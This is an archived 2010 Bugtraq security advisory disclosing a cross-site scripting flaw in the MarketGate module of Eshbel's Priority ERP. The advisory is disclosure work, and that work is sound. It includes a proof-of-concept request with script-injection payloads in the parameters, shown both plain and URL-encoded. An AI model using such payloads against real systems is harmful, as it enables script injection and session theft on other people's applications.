bugtraq - Eshbel Priority MarketGate module Cross Site Scripting Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201003020035.o220ZVwd001703@www3.securityfocus.com>
Date: Mon, 1 Mar 2010 17:35:31 -0700
From: lament@...ack.org
To: bugtraq@...urityfocus.com
Subject: Eshbel Priority MarketGate module Cross Site Scripting Vulnerability

=========================================
Yaniv Miron aka "Lament" Advisory Feb 27, 2010
Eshbel Priority MarketGate module Cross Site Scripting Vulnerability
=========================================

=====================
I. BACKGROUND
=====================
Priority’s ERP

The features listed below are a selection of some of the functionality
available in a selection of the Priority modules.
BI (Business Intelligence), Purchasing, BPM (Business Process Management),
Manufacturing/Production, GL + Financials, Human Resources,
CRM (Customer Relations Management), Project Management,
Order Processing, System Administration, Service and Customer Support,
SDK (Generators), Inventory Control, User Configuration, WMS

http://www.eshbel.com//ERP-Feature.htm

=====================
II. DESCRIPTION
=====================

A malicious attacker may inject scripts into the Priority’s ERP application using the "Referer" field.

=====================
III. ANALYSIS
=====================

Exploitation of this vulnerability results in the execution of arbitrary
code using a malicious "Referer" field.

=====================
IV. EXPLOIT
=====================

http://example.com/marketgate/PriHtml.dll/WWWxxxxxxxx

Referer: http://example.com/marketgate/priorSysMan.htm

WWWxxxxxxxx=>"'><script>alert(31337)</script>&_yyyyyyyy=>"'><script>alert(31337)</script>

-------------------------------------------------------------------------------------------------------------------------------------

Referer: http://example.com/marketgate/priorSysMan.htm

WWWxxxxxxxx=%3E%22%27%3E%3Cscript%3Ealert%2831337%29%3C%2Fscript%3E&_yyyyyyyy=%3E%22%27%3E%

3Cscript%3Ealert%2831337%29%3C%2Fscript%3E

=====================
V. DISCLOSURE TIMELINE
=====================

Jan 2009 Vulnerability Found
Jan 2009 Vendor Notification
Feb 2010 Public Disclosure

=====================
VI. CREDIT
=====================

Yaniv Miron aka "Lament".
lament@...ack.org